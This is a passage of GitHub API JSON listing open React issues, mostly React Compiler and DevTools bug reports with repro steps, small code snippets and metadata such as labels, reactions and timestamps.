"node_id": "MDQ6VXNlcjExNDgxMzU1", "avatar_url": "https://avatars.githubusercontent.com/u/11481355?v=4", "gravatar_id": "", "url": "https://api.github.com/users/emmatown", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 180616330, "node_id": "MDU6TGFiZWwxODA2MTYzMzA=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20React%20Compiler", "name": "Component: React Compiler", "color": "bfdadc", "default": false, "description": "" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 3, "created_at": "2024-05-23T06:00:51Z", "updated_at": "2024-05-24T22:23:18Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "### What kind of issue is this?\n\n- [X] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)\n- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)\n- [ ] eslint-plugin-react-compiler (build issue installing or using the eslint plugin)\n- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)\n\n### Link to repro\n\nhttps://playground.react.dev/#N4Igzg9grgTgxgUxALhHCA7MAXABAQ1wF5dgBfAHQwDMoM5sBLTXAZQgFsFsALRjAOYAKAJSkquXI2q4hAcnxypGAmOATJuGN1gqFcjZRVadMPQCMDGMiDJA\n\n### Repro steps\n\nAny code with an `in` is reported as a syntax error\r\n\r\n```js\r\nconst a = {}\r\nfunction Something() {\r\n if ('a' in a) {\r\n return 'a'\r\n }\r\n return 'b'\r\n}\r\n```\n\n### How often does this bug happen?\n\nEvery time\n\n### What version of React are you using?\n\n0.0.0-experimental-592953e-20240517", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/29227/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/29224", "id": 2311599238, "node_id": "I_kwDOAJy2Ks6JyDSG", "number": 29224, "title": "[Compiler Bug]: Can't handle identifiers that refer to both type and value ", "user": { "login": "eps1lon", "id": 12292047, "node_id": "MDQ6VXNlcjEyMjkyMDQ3", "avatar_url": "https://avatars.githubusercontent.com/u/12292047?v=4", "gravatar_id": "", "url": "https://api.github.com/users/eps1lon", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" }, "2": { "id": 180616330, "node_id": "MDU6TGFiZWwxODA2MTYzMzA=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20React%20Compiler", "name": "Component: React Compiler", "color": "bfdadc", "default": false, "description": "" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 3, "created_at": "2024-05-22T22:28:15Z", "updated_at": "2024-06-09T16:10:09Z", "closed_at": null, "assignee": null, "author_association": "COLLABORATOR", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "### What kind of issue is this?\n\n- [ ] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)\n- [X] babel-plugin-react-compiler (build issue installing or using the Babel plugin)\n- [ ] eslint-plugin-react-compiler (build issue installing or using the eslint plugin)\n- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)\n\n### Link to repro\n\nhttps://playground.react.dev/#N4Igzg9grgTgxgUxALhASwLYAcIwC4AEwBAwhBhggHZ4BKCAhnHmhFQQL4EBmM5BAHRAA6APR4AnlgRghAbgFVFaGghjcmCAgAU+WMEUUECMRs1ZVkpcpRr0mLNgqodFi7lCrm21itTpmjlQAFMSmDhacVroQ+gCUhuwmCHiw7FRQADaZzq5UIBxAA\n\n### Repro steps\n\nApply React Compiler to \r\n```tsx\r\nimport { CommentReaction } from \"./types\";\r\n\r\ninterface Props {\r\n reaction: CommentReaction;\r\n}\r\n\r\nfunction CommentReaction({ reaction }: Props) {\r\n return null;\r\n}\r\n```\r\n\r\nresulting JS issues `TypeError: Duplicate declaration \"CommentReaction\"` when passed through `babel-plugin-react-compiler`. The playground produces a build error.\r\n\r\nThis is easily fixable by changing the code to \r\n```diff\r\n-import { CommentReaction } from \"./types\";\r\n+import { type CommentReaction } from \"./types\";\r\n```\r\n\r\nThe original code is actually valid TypeScript (though I would not recommend authoring it this way). Despite `CommentReaction` being both a type and value, TypeScript is able to distinguish when it's used as a value vs type.\n\n### How often does this bug happen?\n\nEvery time\n\n### What version of React are you using?\n\n19.0.0-beta-04b058868c-20240508", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/29224/reactions", "total_count": 1, "+1": 1, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/29195", "id": 2308123727, "node_id": "I_kwDOAJy2Ks6JkyxP", "number": 29195, "title": "[Compiler Bug]: A bug with i18n translation after react compiler", "user": { "login": "YYGod0120", "id": 116366929, "node_id": "U_kgDOBu-eUQ", "avatar_url": "https://avatars.githubusercontent.com/u/116366929?v=4", "gravatar_id": "", "url": "https://api.github.com/users/YYGod0120", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" }, "2": { "id": 180616330, "node_id": "MDU6TGFiZWwxODA2MTYzMzA=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20React%20Compiler", "name": "Component: React Compiler", "color": "bfdadc", "default": false, "description": "" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 3, "created_at": "2024-05-21T11:57:09Z", "updated_at": "2024-05-25T06:24:56Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "### What kind of issue is this?\n\n- [X] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)\n- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)\n- [ ] eslint-plugin-react-compiler (build issue installing or using the eslint plugin)\n- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)\n\n### Link to repro\n\nhttps://github.com/YYGod0120/yyblog\n\n### Repro steps\n\n1. Change the var in `app/[language]/components/Typewrite.tsx` to const (use var to skip the compiler and fix the bug)\r\n2. use `pnpm dev` to start project\r\n3. Click twice on the `lanswitcher` and find that the `Banner` is not translated after the second click.\n\n### How often does this bug happen?\n\nEvery time\n\n### What version of React are you using?\n\nv19.0.0-rc-3f1436cca1-20240516", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/29195/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/29191", "id": 2307843950, "node_id": "I_kwDOAJy2Ks6Jjudu", "number": 29191, "title": "[DevTools Bug]: Icon bug in Edge DevTools", "user": { "login": "Svish", "id": 142162, "node_id": "MDQ6VXNlcjE0MjE2Mg==", "avatar_url": "https://avatars.githubusercontent.com/u/142162?v=4", "gravatar_id": "", "url": "https://api.github.com/users/Svish", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" }, "2": { "id": 710573595, "node_id": "MDU6TGFiZWw3MTA1NzM1OTU=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20Developer%20Tools", "name": "Component: Developer Tools", "color": "fbca04", "default": false, "description": null } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 2, "created_at": "2024-05-21T09:38:19Z", "updated_at": "2024-05-21T09:40:26Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "### Website or app\r\n\r\nhttps://www.facebook.com/\r\n\r\n### Repro steps\r\n\r\n1. Have React DevTools extension installed (Version `5.2.0 from revision 1717ab0171 on 5/8/2024`)\r\n2. Open page with React in Edge (Version `125.0.2535.51 (Official build) (64-bit)`)\r\n3. Open Edge DevTools\r\n4. See these weird gray blobs next to the actual tab icon:\r\n\r\n![image](https://github.com/facebook/react/assets/142162/909705d4-ccc8-42d4-9b06-5a9a94233b38)\r\n\r\n\r\n### How often does this bug happen?\r\n\r\nEvery time\r\n\r\n### DevTools package (automated)\r\n\r\n_No response_\r\n\r\n### DevTools version (automated)\r\n\r\n_No response_\r\n\r\n### Error message (automated)\r\n\r\n_No response_\r\n\r\n### Error call stack (automated)\r\n\r\n_No response_\r\n\r\n### Error component stack (automated)\r\n\r\n_No response_\r\n\r\n### GitHub query string (automated)\r\n\r\n_No response_", "closed_by": { "login": "github-actions[bot]", "id": 41898282, "node_id": "MDM6Qm90NDE4OTgyODI=", "avatar_url": "https://avatars.githubusercontent.com/in/15368?v=4", "gravatar_id": "", "url": "https://api.github.com/users/github-actions%5Bbot%5D", "type": "Bot", "user_view_type": "public", "site_admin": false }, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/29191/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": "reopened", "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/29172", "id": 2305651716, "node_id": "I_kwDOAJy2Ks6JbXQE", "number": 29172, "title": "[Compiler Bug]: Values used as indexes are not memoized", "user": { "login": "guillaumebrunerie", "id": 787865, "node_id": "MDQ6VXNlcjc4Nzg2NQ==", "avatar_url": "https://avatars.githubusercontent.com/u/787865?v=4", "gravatar_id": "", "url": "https://api.github.com/users/guillaumebrunerie", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" }, "2": { "id": 180616330, "node_id": "MDU6TGFiZWwxODA2MTYzMzA=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20React%20Compiler", "name": "Component: React Compiler", "color": "bfdadc", "default": false, "description": "" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 9, "created_at": "2024-05-20T10:21:44Z", "updated_at": "2025-04-17T09:45:06Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "### What kind of issue is this?\r\n\r\n- [X] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)\r\n- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)\r\n- [ ] eslint-plugin-react-compiler (build issue installing or using the eslint plugin)\r\n- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)\r\n\r\n### Link to repro\r\n\r\nhttps://playground.react.dev/#N4Igzg9grgTgxgUxALhAMygOzgFwJYSYAEAwhALYAOhCmOAFMEQG4CGANlAkQL4CURYAB1iROITA4ieTABMEADyIBeIosq0weZggBiWXAUz02nBHxFEi7BFOg5KUKatNcwAbRnyFAXQDclkQA9EH2js7ScooBojC2sMQAPLLaAHzAYU48iUEpzKkxPDEgPEA\r\n\r\n### Repro steps\r\n\r\nIn the code below, the call to `expensiveFunction(value)` does not appear to be memoized (it is preserved as is at the top level in the JS output).\r\n\r\nThis seems to be due to it being used as an index in `let output = values[index]`, because when setting `output` to be `index` itself instead, it gets memoized properly.\r\n\r\nCode:\r\n```js\r\nfunction Component({ value }) {\r\n const index = expensiveFunction(value)\r\n let output = values[index];\r\n //output = index;\r\n return
{output}
;\r\n};\r\n```\r\n\r\n**_Edit:_** \r\nAdditionally, if `index` was manually memoized with `useMemo`, the compiler will remove the manual memoization, resulting in potentially much slower code than the original code.\r\n\r\n### How often does this bug happen?\r\n\r\nEvery time\r\n\r\n### What version of React are you using?\r\n\r\n19", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/29172/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/29165", "id": 2304414491, "node_id": "I_kwDOAJy2Ks6JWpMb", "number": 29165, "title": "[Compiler Bug]: false positive when using hooks in a nested component", "user": { "login": "NMinhNguyen", "id": 2852660, "node_id": "MDQ6VXNlcjI4NTI2NjA=", "avatar_url": "https://avatars.githubusercontent.com/u/2852660?v=4", "gravatar_id": "", "url": "https://api.github.com/users/NMinhNguyen", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 180616330, "node_id": "MDU6TGFiZWwxODA2MTYzMzA=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20React%20Compiler", "name": "Component: React Compiler", "color": "bfdadc", "default": false, "description": "" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 8, "created_at": "2024-05-19T03:57:44Z", "updated_at": "2024-06-09T06:09:27Z", "closed_at": null, "assignee": null, "author_association": "CONTRIBUTOR", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "### What kind of issue is this?\r\n\r\n- [ ] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)\r\n- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)\r\n- [X] eslint-plugin-react-compiler (build issue installing or using the eslint plugin)\r\n- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)\r\n\r\n### Link to repro\r\n\r\nhttps://playground.react.dev/#N4Igzg9grgTgxgUxALhAgHgBwjALgAgBMEAzAQygBsCSoA7OXASwjvwFkBPAQU0wAoAlPmAAdNvjiswBANoBbaHVwJCAGnxgEudkpWEAuvgC8+KFoDKuMiv7lKWwePyTpBAJJ06CGAGEI8tjeyiZmWr5klJQARmRwANZ29IwsbJ7efgFBCMpCIs4uYQgAoiQkCIz8ecYAfPkShZrauvT6-LgwUAiCANwFLgC+GrIGveL9+DDasGwAPIRMAG41TF4+swD0C8t9EkP4I2N0BVO4M-izAGIQEK6BrDm4xsDpPv73wbgD+Bs1uwPjOi0BjMVj4a4QfiYGAQTBgYRiCSnc6zaGwsAAOikH0ePxq4gGIAGQA\r\n\r\n### Repro steps\r\n\r\nThe ESLint plugin for React Compiler seems to not recognise inner function components as components, so it reports an error when you try to use hooks inside such nested components. `eslint-plugin-react-hooks` does recognise this pattern and doesn’t warn about it.\r\n\r\n> Hooks must be called at the top level in the body of a function component or custom hook, and may not be called within function expressions. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning).\r\n\r\nI understand that defining a component like this isn’t ideal because `useMemo` / `useCallback` don’t have strong guarantees or can get invalidated due to dependencies changing, leading to remounts so would be good to know if code should be rewritten away from this pattern or whether this is a false positive that will eventually get resolved. \r\n\r\n### How often does this bug happen?\r\n\r\nEvery time\r\n\r\n### What version of React are you using?\r\n\r\n19.0.0-rc-3f1436cca1-20240516", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/29165/reactions", "total_count": 1, "+1": 1, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/29164", "id": 2304398223, "node_id": "I_kwDOAJy2Ks6JWlOP", "number": 29164, "title": "[DevTools Bug]: Version 5.2 shows incorrect source for all the components", "user": { "login": "mangonox", "id": 18378585, "node_id": "MDQ6VXNlcjE4Mzc4NTg1", "avatar_url": "https://avatars.githubusercontent.com/u/18378585?v=4", "gravatar_id": "", "url": "https://api.github.com/users/mangonox", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" }, "2": { "id": 710573595, "node_id": "MDU6TGFiZWw3MTA1NzM1OTU=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20Developer%20Tools", "name": "Component: Developer Tools", "color": "fbca04", "default": false, "description": null } }, "state": "open", "locked": false, "assignees": { "0": { "login": "hoxyq", "id": 28902667, "node_id": "MDQ6VXNlcjI4OTAyNjY3", "avatar_url": "https://avatars.githubusercontent.com/u/28902667?v=4", "gravatar_id": "", "url": "https://api.github.com/users/hoxyq", "type": "User", "user_view_type": "public", "site_admin": false } }, "milestone": null, "comments": 3, "created_at": "2024-05-19T02:48:48Z", "updated_at": "2025-05-11T03:16:05Z", "closed_at": null, "assignee": { "login": "hoxyq", "id": 28902667, "node_id": "MDQ6VXNlcjI4OTAyNjY3", "avatar_url": "https://avatars.githubusercontent.com/u/28902667?v=4", "gravatar_id": "", "url": "https://api.github.com/users/hoxyq", "type": "User", "user_view_type": "public", "site_admin": false }, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "### Website or app\n\nhttps://github.com/codedthemes/mantis-free-react-admin-template/\n\n### Repro steps\n\n1. npm install\r\n2. npm run start\r\n\r\nPoint to any component in the page (for example the text \"Hi, Welcome back 👋\") , you will see the the source is wrong\r\nit points to the build tool output chunk file and not to the source of the file in the project.\r\nThis is how it displays it now\r\n\"image\"\r\nThis should point to the source in the project, the `fileName` should point to the file inside the `src` directory, as pointing to the output chunk is pointless for debug reasons.\r\nThank you\r\n\n\n### How often does this bug happen?\n\nEvery time\n\n### DevTools package (automated)\n\n_No response_\n\n### DevTools version (automated)\n\n_No response_\n\n### Error message (automated)\n\n_No response_\n\n### Error call stack (automated)\n\n_No response_\n\n### Error component stack (automated)\n\n_No response_\n\n### GitHub query string (automated)\n\n_No response_", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/29164/reactions", "total_count": 1, "+1": 1, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/29160", "id": 2303741924, "node_id": "I_kwDOAJy2Ks6JUE_k", "number": 29160, "title": "[Compiler Bug]: Compiler disagrees with `exhaustive-deps` linter on whether `React.Ref.current` must be in a deps array", "user": { "login": "jthemphill", "id": 887446, "node_id": "MDQ6VXNlcjg4NzQ0Ng==", "avatar_url": "https://avatars.githubusercontent.com/u/887446?v=4", "gravatar_id": "", "url": "https://api.github.com/users/jthemphill", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" }, "2": { "id": 180616330, "node_id": "MDU6TGFiZWwxODA2MTYzMzA=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20React%20Compiler", "name": "Component: React Compiler", "color": "bfdadc", "default": false, "description": "" } }, "state": "open", "locked": false, "assignees": { "0": { "login": "gsathya", "id": 565765, "node_id": "MDQ6VXNlcjU2NTc2NQ==", "avatar_url": "https://avatars.githubusercontent.com/u/565765?v=4", "gravatar_id": "", "url": "https://api.github.com/users/gsathya", "type": "User", "user_view_type": "public", "site_admin": false } }, "milestone": null, "comments": 2, "created_at": "2024-05-18T01:22:31Z", "updated_at": "2024-12-05T01:05:02Z", "closed_at": null, "assignee": { "login": "gsathya", "id": 565765, "node_id": "MDQ6VXNlcjU2NTc2NQ==", "avatar_url": "https://avatars.githubusercontent.com/u/565765?v=4", "gravatar_id": "", "url": "https://api.github.com/users/gsathya", "type": "User", "user_view_type": "public", "site_admin": false }, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "### What kind of issue is this?\n\n- [X] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)\n- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)\n- [ ] eslint-plugin-react-compiler (build issue installing or using the eslint plugin)\n- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)\n\n### Link to repro\n\nhttps://playground.react.dev/#N4Igzg9grgTgxgUxALhAMygOzgFwJYSYAEUYCA6hDANYIwAUAlEcADrFFyFg5EDuVWjABKCNEQC8JMqLT1MUADaLGAbnbsi0hAFE0aBLnpNJAPhaat-QXVkA6OLBgJMvKZgR8ilGnXqsQOwB6AV8YOwArMAC1Sy1QoTtCAFsEMDAAQwBzBEkiegRmCXM2DitObghFBDtFCCz-EABZNMycojQYCGTrMLt+gIAaIkL1MqIAXzHy5xxYYhNii3H4mxExAH47HDpkvEwMnaZp8t6he0cYZ1c8hWUTrSnLCdjMS1n5s9sxMYmNTAw2HwhCITQytAAgj4hCZSlouJgeF91uIpKQKGtjv8tEEAFS4uK4ogASXEAE9oJwABYZTDtAAGCW+aHpRBwECIjLWFycLhw9OGOCpCEJFWSAAc8NUYPwpYoxZLqmyqXgwBUACa5LhXQw4RRkuyi0UAISgvCFuQg+jwcDwGXlCAAHjTSPgAG4IAC0mvFasU+x2Mr4cuVXS8QtVor4GRgmH2WSIhyIFKgyCNZSJogyuCIAAkIBBqEQs7g7OiAML2xQAI2zRZpatpJEwHkQ6RjZKIPpcmuwZLTGaIAHImSiHLzXEO7EQdHgLTKnXBFFBNUQ50QqERnMkIB7lSLB93ML24J2YzAMgbQWaMtWlW77VA0kR-bRh6OeTrJ6KYy4h7wH39dUuwQcUexcW1n2rQwMnRIhkhvfA6X3Hp1QgNJMH-UVnE9a5NRlC0FUIPk7DSf1XGcbMcE9KkC2oMAgidF0eDwD1vVA6JB1FMiA0o3AaLohimNgli2J9TirFxIJLARJEaWPapy39OAizRMhK2UWsVOMIoSjiZFP2uHAtnFCAeBadscnoIclxtWhgJBQjqzNdlMNeR5hgAbX0j8xEGfSgiCAyxHHL8cH8jgAF1XneBA5ljfJ9IAHmcnBXI3TAlLsiRgHk9VFOU6gJiIIJTEsV4JhACYgA\n\n### Repro steps\n\nI have a hook called `useWorker()` which creates and configures a WebWorker, returning it as a `React.RefObject`, while careful to never perform a side effect during a render.\r\n\r\nThe compiler fails to compile my code as written, but succeeds if I specify `workerRef.current` as a dependency. But you're not supposed to express `Ref.current` as a dependency, per the `react-hooks/exhaustive-deps` linter:\r\n\r\n> React Hook `React.useCallback` has an unnecessary dependency: `'workerRef.current'`. Either exclude it or remove the dependency array. Mutable values like `'workerRef.current'` aren't valid dependencies because mutating them doesn't re-render the component. eslint[react-hooks/exhaustive-deps](https://github.com/facebook/react/issues/14920)\n\n### How often does this bug happen?\n\nEvery time\n\n### What version of React are you using?\n\nReact Playground on 2024-05-17", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/29160/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/29116", "id": 2301251479, "node_id": "I_kwDOAJy2Ks6JKk-X", "number": 29116, "title": "Bug: The Warning 'Each child in a list should have a unique \"key\" prop.' Should Provide the Duplicate Key", "user": { "login": "jwalkerinterpres", "id": 152227747, "node_id": "U_kgDOCRLPow", "avatar_url": "https://avatars.githubusercontent.com/u/152227747?v=4", "gravatar_id": "", "url": "https://api.github.com/users/jwalkerinterpres", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929153, "node_id": "MDU6TGFiZWw0MDkyOTE1Mw==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Enhancement", "name": "Type: Enhancement", "color": "84b6eb", "default": false, "description": null } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 2, "created_at": "2024-05-16T20:09:55Z", "updated_at": "2024-09-07T07:49:08Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "\r\n\r\nReact version: 8.3.0\r\n\r\n## Steps To Reproduce\r\n\r\n1. Repeat content with the same key\r\n2. Get a warning (in your browser dev tools console):\r\n>Each child in a list should have a unique \"key\" prop.\r\n\r\n\r\n\r\nLink to code example:\r\n\r\nNo link needed, it's a single line of code:\r\n```\r\n
    { [1,2,3].map(num =>
  • {num}
  • }
\r\n```\r\n\r\n\r\n## The current behavior\r\n\r\n![image](https://github.com/facebook/react/assets/152227747/f67af5ac-d9a2-4b0a-ad95-4537518da015)\r\n\r\n## The expected behavior\r\n\r\nThe warning essentially says \"You've got duplicate values\". But, React knows exactly what key it saw duplicated, right?\r\n\r\nThat key (eg. `\"sameKey\"` in my example), would be useful for debugging purposes, so why not report it?\r\n\r\n>Each child in a list should have a unique \"key\" prop, but the key \"sameKey\" was seen at least twice.\r\n", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/29116/reactions", "total_count": 6, "+1": 6, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/29045", "id": 2291463750, "node_id": "I_kwDOAJy2Ks6IlPZG", "number": 29045, "title": "Bug: eslint-plugin-react-hooks documentation might be misleading", "user": { "login": "StyleShit", "id": 32631382, "node_id": "MDQ6VXNlcjMyNjMxMzgy", "avatar_url": "https://avatars.githubusercontent.com/u/32631382?v=4", "gravatar_id": "", "url": "https://api.github.com/users/StyleShit", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": 